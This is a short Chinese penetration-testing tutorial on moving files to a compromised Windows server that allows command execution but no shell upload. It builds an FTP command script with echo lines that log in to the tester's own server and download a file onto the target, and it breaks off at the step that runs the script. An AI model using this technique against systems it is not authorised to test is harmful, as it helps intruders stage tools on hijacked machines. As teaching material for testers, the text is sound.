前言
有时候我们拿到一个不能上传shell,但可以命令执行的windows服务器时,可以通过多种方法进行文件上传和下载。
ftp
环境部署
- 首先,ftp支持ASCII码传输、也支持二进制传输,因此完全可以满足我们的上传下载需求。
- 我们可以在本地服务器先搭建一个ftp服务器
- 创建一个用户
- 靶机连接上ftp服务器之后,我们就可以进行上传、下载操作了。
上传和下载
- ftp可以读取txt中的命令并执行,因此可以把需要执行的命令写入到一个txt文件中
echo open ip >>ftp.txt //连接到ftp服务器
echo monster >>ftp.txt //输入用户名
echo abc123456 >>ftp.txt //输入密码
echo bin >>ftp.txt //开始
echo get hello.txt >>ftp.txt //下载hello.txt文件
echo bye >>ftp.txt //关闭连接
-
写入后,靶机中会生成一个ftp.txt文件:
-
通过命令行执行该文件